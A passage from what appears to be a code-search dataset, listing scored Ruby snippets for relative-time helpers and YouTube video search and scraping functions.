"f52969b89f0f55881db83b5bd91de09b", "score": "0.6171495", "text": "def days_ago\n (Date.today.to_datetime - latest_date.to_datetime).to_i\n end", "title": "" }, { "docid": "29be624b0b2eab6e8c75986c180c7798", "score": "0.61628824", "text": "def inst_timing(num)\n passed_days = num*15\n real_due_date = starting_date + passed_days\n end", "title": "" }, { "docid": "79541c800b3fa69c0e2e381acefac503", "score": "0.6144417", "text": "def past(h, m, s)\n (h * 60 * 60 * 1000) + (m * 60 * 1000) + (s * 1000)\nend", "title": "" }, { "docid": "5a3b07cbba4bccc55147bf60e765646f", "score": "0.6139419", "text": "def forever_ago\n begin\n @time_format ? DateTime.new(-4712) : Time.at(-0x7FFFFFFF)\n rescue\n # Windows Ruby Time can't handle dates prior to 1969\n @time_format ? DateTime.new(-4712) : Time.at(0)\n end\n end", "title": "" }, { "docid": "6c5e562ce4ce004470a8911cc1182b27", "score": "0.61392474", "text": "def since(seconds)\n self + Rational(seconds.round, 86400)\n end", "title": "" }, { "docid": "2a4931716186ac4580bb11b744d0d938", "score": "0.60972315", "text": "def weekdays_ago(time = ::Time.now)\n # -5.weekdays_ago(time) == 5.weekdays_from(time)\n return self.abs.weekdays_from(time) if self < 0\n\n x = 0\n curr_date = time\n\n until x == self\n curr_date -= 1.days\n x += 1 if curr_date.weekday?\n end\n\n curr_date\n end", "title": "" }, { "docid": "6840287969a332290965899974e9478f", "score": "0.6093789", "text": "def ago\n return self.before( ::Time.now )\n end", "title": "" }, { "docid": "0b9e153b04ba12977dec04a0e48533ad", "score": "0.60819376", "text": "def ago(time = T.unsafe(nil)); end", "title": "" }, { "docid": "0b9e153b04ba12977dec04a0e48533ad", "score": "0.60819376", "text": "def ago(time = T.unsafe(nil)); end", "title": "" }, { "docid": "96ed9918e9f59b9fba356405aaadfe2f", "score": "0.60746396", "text": "def past(h, m, s)\n ((h * 3600) + (m * 60) + s) * 1000\nend", "title": "" }, { "docid": "00bc44c0833576bf71010f538528ccbf", "score": "0.6037936", "text": "def calculate_days_ago(product)\n return (DateTime.now - product.arrival.to_datetime).to_i\n end", "title": "" }, { "docid": "00bc44c0833576bf71010f538528ccbf", "score": "0.6037936", "text": "def calculate_days_ago(product)\n return (DateTime.now - product.arrival.to_datetime).to_i\n end", "title": "" }, { "docid": "75ac70b1e040f74584a4ece75e8029bf", "score": "0.6030919", "text": "def since(older_time)\n self - (older_time.kind_of?(Time) ? older_time : Time.parse(older_time))\n end", "title": "" }, { "docid": "e8f6986429862dba4e4bbfbfb91d8045", "score": "0.6030738", "text": "def ago_time(time)\n ago = Time.now - time\n if ago < 3600\n return \"#{ago.div(1)} minutes ago\"\n elsif ago < 3600 * 12\n return \"#{ago.div(3600)} hours ago\"\n elsif ago < 3600 * 24\n return \"Yesterday\"\n elsif ago < 3600 * 24 * 7\n return \"#{time.strftime('%A')}\"\n else \n return \"#{time.strftime('%A %-d %B %Y')}\"\n end \nend", "title": "" }, { "docid": "3e45e9ca2b981173c378f48f8d3a6464", "score": "0.60254896", "text": "def since(seconds); end", "title": "" }, { "docid": "3e45e9ca2b981173c378f48f8d3a6464", "score": "0.60254896", "text": "def since(seconds); end", "title": "" }, { "docid": "3e45e9ca2b981173c378f48f8d3a6464", "score": "0.60254896", "text": "def since(seconds); end", "title": "" }, { "docid": "3e45e9ca2b981173c378f48f8d3a6464", "score": "0.60254896", "text": "def since(seconds); end", "title": "" }, { "docid": "3e45e9ca2b981173c378f48f8d3a6464", "score": "0.60254896", "text": "def since(seconds); end", "title": "" }, { "docid": "3e45e9ca2b981173c378f48f8d3a6464", "score": "0.60254896", "text": "def since(seconds); end", "title": "" }, { "docid": "3e45e9ca2b981173c378f48f8d3a6464", "score": "0.60254896", "text": "def since(seconds); end", "title": "" }, { "docid": "f3588f08c9c4d7dac59feea6bd92e359", "score": "0.60067683", "text": "def timeago(time, options = {})\n start_date = Time.now\n delta_minutes = (start_date.to_i - time.to_i).floor/60\n if delta_minutes.abs <= (8724*60) # eight weeks… I’m lazy to count days for longer than that\n distance = distance_of_time_in_words(delta_minutes);\n if delta_minutes < 0\n \"#{distance} from now\"\n else\n \"#{distance} ago\"\n end\n else\n if time.blank?\n return \"\"\n else\n return \"on #{timelong(time)}\"\n end\n end\n end", "title": "" }, { "docid": "109ba888c04552e3c8a14b27737be6fb", "score": "0.5997307", "text": "def days_since(days)\n since(days.days)\n end", "title": "" }, { "docid": "c27bcfcb11eb0f6d5470550194f198fb", "score": "0.59617496", "text": "def since(seconds)\n self + seconds\n rescue\n to_datetime.since(seconds)\n end", "title": "" }, { "docid": "571460095f6a753a5761c86dd3f101ce", "score": "0.5958289", "text": "def hours_after_days\n\t\t\t((@seconds + @seconds_in_months)%86400).quo(3600)\n\t\tend", "title": "" }, { "docid": "a241ca4bc22d2ddec2907a212979961d", "score": "0.5953009", "text": "def age(time)\n delta = Time.now - time\n return 'future' if delta < 0\n hours = (delta / (60 * 60)).to_i\n days = hours / 24\n (hours > 24 ? \"#{pluralize days, 'day'}\" : \"#{pluralize hours, 'hour'}\") +\n ' ago'\n end", "title": "" }, { "docid": "d488b7a470dd8ffa9fbde6c121bd3459", "score": "0.59496367", "text": "def previous_time\n current_time - 2 * @duration\n end", "title": "" }, { "docid": "c139ff5014487de316cd5075f58b0dcf", "score": "0.59454507", "text": "def didwhen(old_time) # stolen from http://snippets.dzone.com/posts/show/5715\n val = Time.now - old_time\n if val < 10 then\n result = 'just a moment ago'\n elsif val < 40 then\n result = 'less than ' + (val * 1.5).to_i.to_s.slice(0,1) + '0 seconds ago'\n elsif val < 60 then\n result = 'less than a minute ago'\n elsif val < 60 * 1.3 then\n result = \"1 minute ago\"\n elsif val < 60 * 50 then\n result = \"#{(val / 60).to_i} minutes ago\"\n elsif val < 60 * 60 * 1.4 then\n result = 'about 1 hour ago'\n elsif val < 60 * 60 * (24 / 1.02) then\n result = \"about #{(val / 60 / 60 * 1.02).to_i} hours ago\"\n else\n result = old_time.strftime(\"%H:%M %p %B %d, %Y\")\n end\n return \"#{result}\"\n end", "title": "" }, { "docid": "12fe30afc7cb09edc7e399cdf403a0c2", "score": "0.59395546", "text": "def get_time_since\n # TODO remove 's' for singular time sinces\n minutes_since = Integer((Time.now.utc - self.created_at)/60)\n if minutes_since > 60\n if minutes_since > (60*24) \n # days\n days = Integer(minutes_since/(60*24))\n \"#{days} days ago\"\n else\n # hours\n hours = Integer(minutes_since/60)\n \"#{hours} hours ago\"\n end\n else\n # minutes\n \"#{minutes_since} minutes ago\"\n end\n end", "title": "" }, { "docid": "bb6d4d62643c79dea906d6f0cb8cd433", "score": "0.5931702", "text": "def ago(seconds)\n self.since(-seconds)\n end", "title": "" }, { "docid": "fa8fbfb935c577cda187d60a662b25d4", "score": "0.59185296", "text": "def ago\n\t\t\t\treturn self.before( ::Time.now )\n\t\t\tend", "title": "" }, { "docid": "fa8fbfb935c577cda187d60a662b25d4", "score": "0.59185296", "text": "def ago\n\t\t\t\treturn self.before( ::Time.now )\n\t\t\tend", "title": "" }, { "docid": "fa8fbfb935c577cda187d60a662b25d4", "score": "0.59185296", "text": "def ago\n\t\t\t\treturn self.before( ::Time.now )\n\t\t\tend", "title": "" }, { "docid": "fa8fbfb935c577cda187d60a662b25d4", "score": "0.59185296", "text": "def ago\n\t\t\t\treturn self.before( ::Time.now )\n\t\t\tend", "title": "" }, { "docid": "77b85986640e00ca17b6f569bad0053f", "score": "0.58990324", "text": "def minus_days(days)\n plus_days -days\n end", "title": "" }, { "docid": "e8c83d919d8840060f35afb7f4c1f059", "score": "0.5894717", "text": "def duration_since(earlier)\n case earlier\n when Instant then earlier - self\n else raise TypeError, 'Not an Instant'\n end\n end", "title": "" }, { "docid": "39920ab266ad773216d8a94bf4f33b25", "score": "0.5882607", "text": "def relative_time(start_time)\n diff_seconds = Time.now - start_time\n case diff_seconds\n when 0 .. 59\n \"#{diff_seconds.round} seconds ago\"\n when 60 .. (3600-1)\n \"#{(diff_seconds/60).round} minutes ago\"\n when 3600 .. (3600*24-1)\n \"#{(diff_seconds/3600).round} hours ago\"\n when (3600*24) .. (3600*24*30) \n \"#{(diff_seconds/(3600*24)).round} days ago\"\n else\n start_time.strftime(\"%m/%d/%Y\")\n end\n end", "title": "" } ]
60fc1dd97ede51a428347161de4cb963
search for videos at youtube
[ { "docid": "c32163360b4b4540db16f92ace6fc53d", "score": "0.62505865", "text": "def search(tags, params)\n \n begin\n tags_to_search = tags.strip.split.join(\"/\")\n start_index = (params[:page].to_i * params[:per_page].to_i)-(params[:per_page].to_i-1)\n order = youtuberize_sort(params[:sort_by])\n \n request_url = %{#{self.service_uri}/-/#{tags_to_search}/?orderby=#{order}&start-index=#{start_index}&max-results=#{params[:per_page]}}.strip\n url = URI.encode(request_url)\n # get the xml data from the system\n youtube_response = Net::HTTP.get(URI.parse(url))\n youtube_response.delete!(\"\\\"\")\n document = REXML::Document.new youtube_response\n rescue Exception => e\n puts \"Fehler beim Youtuberequest: #{e.to_s}\"\n document = REXML::Document.new\n else\n # the response dependent attributes\n resources = Array.new\n total_results = document.root.elements['openSearch:totalResults'].text.to_i\n total_pages = total_results / params[:per_page].to_i\n \n if document.root.has_elements?\n document.root.elements.each('entry') do |video|\n video_id = video.elements['id'].text.split(\"/\").last\n video_title = video.elements['title'].text\n video_upload_date = human_time(video.elements['published'].text) \n video_tags = video.elements['media:group'].elements['media:keywords'].text.delete(\",\").downcase.split\n thumbnails = Array.new \n video.elements['media:group'].elements.each('media:thumbnail') do |thumb|\n thumbnails << thumb.attributes['url']\n end\n video_list_thumbnail = thumbnails[rand(3)]\n video_js_thumbnail = thumbnails[3]\n video_description = video.elements['content'].text\n \n resource = General::Resource.new(:resource_id => video_id,\n :title => video_title,\n :upload_date => video_upload_date,\n :tags => video_tags,\n :description => video_description,\n :list_thumb_url => video_list_thumbnail,\n :js_thumb_url => video_js_thumbnail,\n :preview_thumb_url => \"http://www.youtube.com/v/#{video_id}\",\n :link_url => \"http://de.youtube.com/watch?v=#{video_id}\")\n resources.push(resource)\n end\n resource_list = General::ResourceList.new(:tagging_system => self,\n :resources => resources,\n :total_pages => total_pages,\n :total_results => total_results,\n :actual_page => params[:page].to_i)\n return resource_list\n else\n return nil\n end\n end\n end", "title": "" } ]
[ { "docid": "d24ba44bc4adf61f191fb8a278f636d7", "score": "0.7501221", "text": "def youtube_search(query_term)\n query_term = query_term + \" trailer\"\n query_term = query_term.split(\" \").map do |word|\n word.scan(/\\w+/)[0]\n end.join(\"%20\")\n url = \"https://www.youtube.com/results?search_query=#{query_term}\"\n document = Nokogiri::HTML(RestClient.get(url))\n first_hit = document.css(\"a\").map {|a| a['href']}.select {|link| link.include?(\"watch\")&& link.length == 20}.first\nend", "title": "" }, { "docid": "0db41b2cb939a0dd1ec7d0fc583b4581", "score": "0.7336306", "text": "def search_youtube(*args)\n raise ArgumentError.new('apikey not specified') if @api_key.blank?\n parameters = args.extract_options!\n\n uri()['/shows/youtube'].get(parameters, {'Channels-Authorization' => @api_key}).deserialise\n end", "title": "" }, { "docid": "f061267ca712f77654829576ae68e6c5", "score": "0.7275354", "text": "def videos\n @client = YouTubeIt::Client.new\n @videos = @client.videos_by(:query => params[:description])\n @lifts = Lift.all\n @video = Video.new\n end", "title": "" }, { "docid": "ecdf351464e0bff6f9a0719f692448bc", "score": "0.70984006", "text": "def youtube(query)\n \n doc = Nokogiri::HTML(open(\"http://www.youtube.com/results?q=#{CGI.escape(query)}\"))\n\n result = doc.css('div#search-results div.result-item-main-content')[0]\n\n title = result.at('h3').text\n link = \"www.youtube.com\"+\"#{result.at('a')[:href]}\"\n desc = result.at('p.description').text\n \n rescue\n \"No results found\"\n else\n CGI.unescape_html \"#{title} - #{desc} - #{link}\"\n \n end", "title": "" }, { "docid": "d1fc031582f2d6cb3f2f0d0b7d9f09c6", "score": "0.70840967", "text": "def query_youtube(query_string, target_uid = nil)\n query_url = \"http://gdata.youtube.com/feeds/api/videos?q=\" + query_string + \"&orderby=viewCount\"\n uri = URI(query_url)\n videos = XmlSimple.xml_in(Net::HTTP.get(uri))\n video_url = videos['entry'][0]['link'][0]['href']\n return video_url\n end", "title": "" }, { "docid": "b2591d35758ebdd6602f79fda53ab498", "score": "0.70791966", "text": "def videos(search_parameters)\n self.class.get(\"/search/\", :query => {\n :q => 'violencia',\n :apikey => 'tGJdxmKnlDjOgXgGgWmXtULMwpPGxE0R',\n :format => 'json'\n })\n end", "title": "" }, { "docid": "35b0e860cbe799650205f4dbb27d8c5d", "score": "0.68581885", "text": "def youtube_info(name,tag)\n search_term = name + tag\n video_names = []\n video_links = []\n video_image_links = []\n opts = Trollop::options do\n opt :q, search_term, :type => String, :default => search_term\n opt :max_results, 'Max results', :type => :int, :default => 10\n end\n\n client, youtube = get_service\n\n begin\n # Call the search.list method to retrieve results matching the specified\n # query term.\n search_response = client.execute!(\n :api_method => youtube.search.list,\n :parameters => {\n :part => 'snippet',\n :q => opts[:q],\n :maxResults => opts[:max_results],\n :orderby => \"viewCount\"\n }\n )\n\n # Add each result to the appropriate list, and then display the lists of\n # matching videos, channels, and playlists.\n search_response.data.items.each do |search_result|\n case search_result.id.kind\n when 'youtube#video'\n video_names << \"#{search_result.snippet.title}\"\n video_links << \"https://www.youtube.com/watch?v=\"+\n \"#{search_result.id.videoId}\"\n video_image_links << \n \"#{search_result.snippet.thumbnails.default.url}\"\n end\n end\n\n rescue Google::APIClient::TransmissionError => e\n puts e.result.body\n end\n return video_names,video_links,video_image_links\n end", "title": "" }, { "docid": "d527e119816722984f7189e739c715a1", "score": "0.6821651", "text": "def videos\n @browser_title ||= \"Search Public Videos\"\n \n @search_type = \"video\"\n searching_for_a_tag = params[:q].blank?\n @term = searching_for_a_tag ? params[:tag] : params[:q]\n @results_count = 0\n \n # Only perform the search on Heroku\n if Rails.env.production? || Rails.env.staging?\n if @term.blank?\n # use the default extended mode matching to return random results\n @results = Video.search :conditions => {:status => VideoGraph.get_status_number(:ready), :channel_is_private => 'f'},\n :order => \"@random DESC\",\n :page => params[:page], \n :per_page => 10\n else\n if searching_for_a_tag\n # only match video tags using the default extended mode matching\n @results = Video.search :conditions => {:tags => Riddle.escape(@term), :status => VideoGraph.get_status_number(:ready), :channel_is_private => 'f'},\n :page => params[:page], \n :per_page => 10,\n :order => 'created_at DESC'\n else\n # use the default extended mode matching to search the video meta\n @results = Video.search Riddle.escape(@term), :conditions => {:status => VideoGraph.get_status_number(:ready), :channel_is_private => 'f'},\n :page => params[:page], \n :per_page => 10,\n :order => 'created_at DESC'\n end\n end\n @results_count = @results.total_entries\n else\n @results = []\n end\n \n respond_to do |format|\n params[:page].to_i > 1 ? format.js : format.html\n end \n end", "title": "" }, { "docid": "8a33f6b55c083afbde9b29b60f053f56", "score": "0.68175113", "text": "def set_youtube_video_search_phrase\n\t\t\t@youtube_video_search_phrase = YoutubeVideoSearchPhrase.find(params[:id])\n\t\tend", "title": "" }, { "docid": "569d6e61fb3ec3193cd0acdb39c5979f", "score": "0.679893", "text": "def videos\n @browser_title ||= \"Search Public Videos\"\n \n @search_type = \"video\"\n searching_for_a_tag = params[:q].blank?\n @term = searching_for_a_tag ? params[:tag] : params[:q]\n @results_count = 0\n \n # Only perform the search on Heroku\n if Rails.env.production? || Rails.env.staging?\n if @term.blank?\n # use the default extended mode matching to return random results\n @results = Video.search :conditions => {:status => VideoGraph.get_status_number(:ready), :channel_is_private => 'f'},\n :order => \"@random DESC\",\n :page => params[:page], \n :per_page => 10\n else\n if searching_for_a_tag\n # only match video tags using the default extended mode matching\n @results = Video.search :conditions => {:tags => Riddle.escape(@term), :status => VideoGraph.get_status_number(:ready), :channel_is_private => 'f'},\n :page => params[:page], \n :per_page => 10,\n :order => 'created_at DESC'\n else\n # use the default extended mode matching to search the video meta\n @results = Video.search Riddle.escape(@term), :conditions => {:status => VideoGraph.get_status_number(:ready), :channel_is_private => 'f'},\n :page => params[:page], \n :per_page => 10,\n :order => 'created_at DESC'\n end\n end\n @results_count = @results.total_entries\n else\n @results = []\n end\n \n respond_to do |format|\n params[:page].to_i > 1 ? format.js : format.html\n end \nruby_code_from_view.ruby_code_from_view do |rb_from_view|\n if we_should_show_og_tags && [email protected]? \n # Facebook OpenGraph protocol for embedding our video link back to Brevidy \n public_video_url(:public_token => @video.public_token) \n @video.title \n @video.description \n @video.get_thumbnail_url(@video.selected_thumbnail) \n public_video_url(:public_token => @video.public_token) \n else \n # Standard meta tags \n image_path('meta_tag_logo.png') \n end \n browser_title \n # Logged In CSS \n cache_buster_path('/stylesheets/i_love_lamp-1.0.3.min.css') \n # Site-wide JS \n javascript_include_tag \"https://ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js\" \n cache_buster_path('/javascripts/functions.min.js') \n cache_buster_path('/javascripts/i_love_lamp-1.0.3.min.js') \n javascript_include_tag \"player/player.js\" \n javascript_include_tag \"http://html5shiv.googlecode.com/svn/trunk/html5.js\" \n # Fav Icon and CSRF meta tag \n favicon_link_tag \n csrf_meta_tag \n get_background_for_user \n # Top navigation header \n link_to(image_tag(\"brevidy_rgb_white.png\", :size => \"135x35\", :alt => \"Brevidy - The Soul of Video\"), signed_in? ? user_stream_path(current_user) : :root, :class => \"brand\") \n video_search_path \n if signed_in? \n link_to(\"Explore\", explore_path) \n link_to(\"Upload\", new_user_video_path(current_user)) \n link_to(\"Share a Link\", user_share_dialog_path(current_user), :remote => true, \"data-method\" => \"GET\") \n link_to(\"Invite\", user_invitations_path(current_user)) \n end \n if signed_in? \n link_to(user_path(current_user), :class => \"dropdown-toggle\") do \n image_tag(\"#{current_user.image.blank? ? 'default_user_35px.jpg' : current_user.image_url(:small_profile) }\", :alt => \"#{current_user.name}\", :size => \"35x35\") \n current_user.username \n end \n link_to(\"My Channels\", user_channels_path(current_user)) \n link_to(\"Account Settings\", user_account_path(current_user)) \n link_to(\"Find People\", find_people_path) \n link_to(\"Help\", \"http://getsatisfaction.com/brevidy\", :target => \"_blank\") \n link_to(\"Logout\", logout_path, :remote => true, \"data-method\" => \"DELETE\") \n else \n link_to(\"Explore\", explore_path) \n link_to(\"Sign up\", signup_path) \n link_to(\"Login\", login_path) \n end \n \n # Main container \n # Dark Content Wrapper \n # Main (White) Content Wrapper \n if @term.blank? \n else \n end \n if @results.blank? \n image_tag(\"okayguy.png\", :alt => \"Okay\", :size => \"256x275\") \n else \n render @results \n will_paginate @results \n @page_has_infinite_scrolling = true \n \n end \n # Lower navigation \n unless @page_has_infinite_scrolling \n succeed \" \" do \n link_to(\"FAQ\", faq_path, :class => \"inlinelink\") \n end \n succeed \" \" do \n link_to(\"Blog\", \"http://blog.brevidy.com\", :class => \"inlinelink\") \n end \n succeed \" \" do \n link_to(\"Status\", \"http://status.brevidy.com\", :class => \"inlinelink\") \n end \n succeed \" \" do \n link_to(\"Contact\", contact_path, :class => \"inlinelink\") \n end \n succeed \" \" do \n link_to(\"Terms\", tos_path, :class => \"inlinelink\") \n end \n succeed \" \" do \n link_to(\"Privacy\", privacy_path, :class => \"inlinelink\") \n end \n \n end \n # GetSatisfaction Feedback Widget & Google Analytics \n # Google Analytics \n # GetSatisfaction Code \n # AddThis script \n \n # Scroll back to top \n\nend\n\n end", "title": "" }, { "docid": "59af4a3ccf8b402a192dc38dba540064", "score": "0.6796974", "text": "def youtube\n youtube_embed = '<iframe title=\"YouTube video player\" width=\"640\" height=\"390\" src=\"http://www.youtube.com/embed/VIDEO_ID\" frameborder=\"0\" allowfullscreen></iframe>' \n if self.url =~ /.*http:\\/\\/(\\w+\\.)?youtube.com\\/watch.*/\n self.url.match(/v=(\\w+)/)\n return youtube_embed.gsub(/VIDEO_ID/, $1) \n end\n return nil\n end", "title": "" }, { "docid": "0b6992f78c0d65333b1623dc58ba8dcb", "score": "0.67102736", "text": "def youtube(url)\n doc = Nokogiri::HTML(open(url))\n title = doc.xpath('//span[@id=\"eow-title\"]/@title')\n views = doc.css('span.watch-view-count').first.content.strip\n sendchn(\"Youtube: \\\"#{title}\\\" : #{views} views\")\n end", "title": "" }, { "docid": "96fdac0e87a9cc96e6457e6f44a96663", "score": "0.6692913", "text": "def scrape\n @videos = []\n @video_count = 0\n @search_result.search('//div[@class=\"v120vEntry\"]').each do |video_html|\n video = Youtube::Video.new\n\n video.id = scrape_id(video_html)\n video.author = scrape_author(video_html)\n video.title = scrape_title(video_html)\n video.length_seconds = scrape_length_seconds(video_html)\n video.rating_avg = scrape_rating_avg(video_html)\n video.view_count = scrape_view_count(video_html)\n video.thumbnail_url = scrape_thumbnail_url(video_html)\n\n check_video video\n\n @videos << video\n @video_count += 1\n end\n @videos\n end", "title": "" }, { "docid": "e7be4ee193fac9ba41e5a530ca5ac4f3", "score": "0.6692536", "text": "def check_you_tube_video_link(url)\n if (beginIndex = (url.to_s).index('v=')) != nil\n video_id = (url.to_s).slice(beginIndex+2,11) \n check_url = \"http://gdata.youtube.com/feeds/api/videos/\" + video_id\n begin\n doc = Hpricot(open(check_url))\n rescue\n return false\n end\n else\n return false\n end \n return video_id \nend", "title": "" }, { "docid": "06135652bb4f851c175acab8f1ef8d6a", "score": "0.6656699", "text": "def video_from_youtube(input)\n Youtube::VideoMapper.new(App.config.YT_TOKEN)\n .extract(input[:video_id])\n rescue StandardError\n raise YT_NOT_FOUND\n end", "title": "" }, { "docid": "9fe606c1abc831ae72e3560e2861f325", "score": "0.66341555", "text": "def video(query='')\n Search::Video.new(self,query)\n end", "title": "" }, { "docid": "9fe606c1abc831ae72e3560e2861f325", "score": "0.66341555", "text": "def video(query='')\n Search::Video.new(self,query)\n end", "title": "" }, { "docid": "4d9a0eb55c817338e14c4a917f3f390c", "score": "0.6579523", "text": "def send_request(title, artist)\n Yt.configure do |config|\n config.api_key = 'AIzaSyBEU6HVkxsZXySNUqZ77_PA5i5P4itzwZY'\n end\n videos = Yt::Collections::Videos.new\n response = videos.where(q: \"#{title} #{artist}\", order: \"relevance\", max_results: 5)\n response\nend", "title": "" }, { "docid": "0f8784d35ba2edd1649d853b29cb04c6", "score": "0.6577353", "text": "def parse_youtube url\n regex = /^(?:http:\\/\\/)?(?:www\\.)?\\w*\\.\\w*\\/(?:watch\\?v=)?((?:p\\/)?[\\w\\-]+)/\n url.match(regex)[1]\nend", "title": "" }, { "docid": "0706b6a71f9574cdbfd95fb179b76447", "score": "0.6574108", "text": "def get_video_url(url)\n begin\n doc = Nokogiri::XML(open(url))\n node=doc.xpath('//xmlns:entry')\n video_count=node.length\n ids=node.xpath('//media:group/yt:videoid')\n #just pull the first returned video (should be the most popular of MAX_RESULTS)\n if (ids != nil)\n str = \"https://www.youtube.com/v/\"+ids[0].text+\"?version=3\"\n return str\n else\n return nil\n end\n rescue\n return nil\n end\n end", "title": "" }, { "docid": "58f649d5c7cf7a916aac5bcba3ba7dcd", "score": "0.6549569", "text": "def scrape_youtube_flv(url)\n youtube = \"http://www.youtube.com/\"\n flv_url = nil\n video_id = youtube_id_from(url)\n\n open(\"#{youtube}watch\\?v=#{video_id}\") do |file|\n file.each_line do |line|\n if line =~ /\\&t\\=(.*)\\&/\n flv_url = \"#{youtube}get_video?fmt=34&video_id=#{CGI.unescape video_id}&t=#{line.match(/\\&t\\=([A-Z0-9\\%]+)/i)[1]}\"\n break\n end\n end\n end\n\n flv_url\nend", "title": "" }, { "docid": "74ac0d897d5e25a8cdf380713cf5cd66", "score": "0.65485483", "text": "def videos_by(params, options={})\n request_params = params.respond_to?(:to_hash) ? params : options\n request_params[:page] = integer_or_default(request_params[:page], 1)\n\n unless request_params[:max_results]\n request_params[:max_results] = integer_or_default(request_params[:per_page], 25)\n end\n\n unless request_params[:offset]\n request_params[:offset] = calculate_offset(request_params[:page], request_params[:max_results] )\n end\n\n if params.respond_to?(:to_hash) and not params[:user]\n request = YouTubeG::Request::VideoSearch.new(request_params)\n elsif (params.respond_to?(:to_hash) && params[:user]) || (params == :favorites)\n request = YouTubeG::Request::UserSearch.new(params, request_params)\n else\n request = YouTubeG::Request::StandardSearch.new(params, request_params)\n end\n\n logger.debug \"Submitting request [url=#{request.url}].\"\n parser = YouTubeG::Parser::VideosFeedParser.new(request.url)\n parser.parse\n end", "title": "" }, { "docid": "7258af6766e70c276edf7fb173852251", "score": "0.65457594", "text": "def music_video(term, options={})\n search(term, 'musicVideo', options)\n end", "title": "" }, { "docid": "b06b0f724b72a8235522d02fd09a588b", "score": "0.6514798", "text": "def get_videos(day)\n response = Typhoeus::Request.get(\n \"https://www.googleapis.com/youtube/v3/playlistItems?part=#{PART}&maxResults=#{MAX_RESULTS}&playlistId=#{PLAYLIST_ID}&key=#{API_KEY}\",\n headers: { 'Content-Type' => \"application/json\" }\n )\n\n data = JSON.parse(response.response_body)\n\n # Gets urls of videos uploaded within last 24 hours from current DateTime\n data['items'].each do |item|\n if item['snippet']['publishedAt'] > (day).to_s\n video_id = item['snippet']['resourceId']['videoId']\n (@video_ids ||=[]).push(video_id) # Create video_ids array and add video_id\n end\n end\n # puts @video_ids.inspect\n end", "title": "" }, { "docid": "ed53b399b31a70cd31557ba289c93d6c", "score": "0.65073264", "text": "def youtube_id\n return unless type.eql? 'youtube'\n match = /watch\\?v=(?<id>[^&]+)/.match(url)\n return unless match\n match[:id]\n end", "title": "" }, { "docid": "fc25ac36529d87db7f49a7c1d3da9e3f", "score": "0.6496892", "text": "def handle_youtube(content)\n handle_video(content, {\n host: '(https?:)?\\\\/\\\\/.*youtu.*',\n id: '(?<=\\\\?v\\\\=|embed\\\\/|\\\\.be\\\\/)([a-zA-Z0-9\\\\_\\\\-]+)',\n iframe_url: \"https://www.youtube.com/embed/\"\n })\n end", "title": "" }, { "docid": "fc25ac36529d87db7f49a7c1d3da9e3f", "score": "0.6496892", "text": "def handle_youtube(content)\n handle_video(content, {\n host: '(https?:)?\\\\/\\\\/.*youtu.*',\n id: '(?<=\\\\?v\\\\=|embed\\\\/|\\\\.be\\\\/)([a-zA-Z0-9\\\\_\\\\-]+)',\n iframe_url: \"https://www.youtube.com/embed/\"\n })\n end", "title": "" }, { "docid": "1bd33b97f73ca65ec4cb304c3a779dae", "score": "0.6494288", "text": "def youtube(url)\n doc = Nokogiri::HTML(open(url))\n title = doc.xpath('//span[@id=\"eow-title\"]/@title')\n views = doc.css('span.watch-view-count').first.content.strip\n sendchn(\"Youtube: \\\"#{title}\\\" : #{views} views\")\nend", "title": "" }, { "docid": "f4c057d6add433b65479c933615db3d1", "score": "0.6489106", "text": "def youtube_video_id\n regex = /(?:.be\\/|\\/watch\\?v=|\\/(?=p\\/))([\\w\\/\\-]+)/\n youtube_id = youtube_video_link&.match(regex)&.[](1)\n end", "title": "" }, { "docid": "6e0f0262e588b395ddec3426defc00fa", "score": "0.6442995", "text": "def test()\r\n me = YouTube::User.new('deven.norton', 'javadoc')\r\n yt = YouTube::Service.new()\r\n ret = yt.search('PON PON PON')\r\n puts me.token\r\n ret.each {|video| puts \"\\n#{video.name} +#{video.rating.up} -#{video.rating.down}\\n\\t#{video.description}\\n\\t#{video.uploader}\\n\\thttp://www.youtube.com/watch?v=#{video.id}\"}\r\n\r\n begin\r\n puts me.comment(ret[0], \"killroy was here!!!!!!\")\r\n puts me.upload(YouTube::Uploadable.new(\"../src/test\"))\r\n rescue YouTube::BadPasswordError => e\r\n p e.message\r\n end\r\n\r\n\r\nend", "title": "" }, { "docid": "deec3e4f5344ad16ed652d0680e20a19", "score": "0.64382493", "text": "def get_videos(options)\n options[:page] = integer_or_default(options[:page], 1)\n params = {}\n params['max-results'] = integer_or_default(options[:per_page], 25)\n params['start-index'] = calculate_offset(options[:page], params['max-results'] )\n params['q'] = options[:query]\n url_params = join_params(params)\n url_params = videos_link.include?(\"?\") ? \"&#{url_params}\" : \"?#{url_params}\"\n url = \"#{videos_link}#{url_params}\"\n logger.debug \"Submitting request [url=#{url}].\" if logger\n YouTubeG::Parser::VideosFeedParser.new(url).parse\n end", "title": "" }, { "docid": "604a66440ad78b41bab2b90ea6c58303", "score": "0.6437139", "text": "def search\n @keyword = params[:keyword]\n @class = params[:class]\n @book_id = params[:book_id]\n @start_index = params[:start_index]\n if @start_index.to_s.length == 0 then\n @start_index = 1\n end\n #if keyword.to_s.length == 0 then\n # redirect_to new_book_path, :notice => \"Please input keyword\"\n #end\n result = JSON.parse(open(URI.encode(\"https://gdata.youtube.com/feeds/api/videos?category=Music&q=#{@keyword}&key=AI39si5g25khnVDxoMQfiuVr3Og2p7XffY3UMgnxXpn9AHfC4Nsk4evMcKS6u7CN7PQXg4x0mZZr_Wk08oono9Pqv7gfeNts_w&alt=json&v=2&start-index=#{@start_index}&max-results=10\")).read)\n @search_result = result\n end", "title": "" }, { "docid": "55c52b4699663e69eab3c8313d6d78d1", "score": "0.6434033", "text": "def test_youtube\r\n download_test('http://www.youtube.com/watch?v=CFw6s0TN3hY')\r\n download_test_other_tools('http://www.youtube.com/watch?v=9uDgJ9_H0gg') # this video is only 30 KB\r\n end", "title": "" }, { "docid": "a303efcd028efdba3a3fb70b0421acd0", "score": "0.6419454", "text": "def index\n @videos =Video.order(\"created_at DESC\")\n if params[:search]\n @search_term = params[:search]\n @videos = @videos.search_by(@search_term)\n end\n end", "title": "" }, { "docid": "a303efcd028efdba3a3fb70b0421acd0", "score": "0.6419454", "text": "def index\n @videos =Video.order(\"created_at DESC\")\n if params[:search]\n @search_term = params[:search]\n @videos = @videos.search_by(@search_term)\n end\n end", "title": "" }, { "docid": "b08e95696ec5f388978e80ebcb967f23", "score": "0.6411758", "text": "def search_camideo\n ### search camideo: vimeo, dailymotion, ...\n\n Camideo.get_OneVideoSearch_camideo(self)\n\n end", "title": "" }, { "docid": "98ef5c4d4ee1bc126a4128dfffae270d", "score": "0.63607657", "text": "def get_video 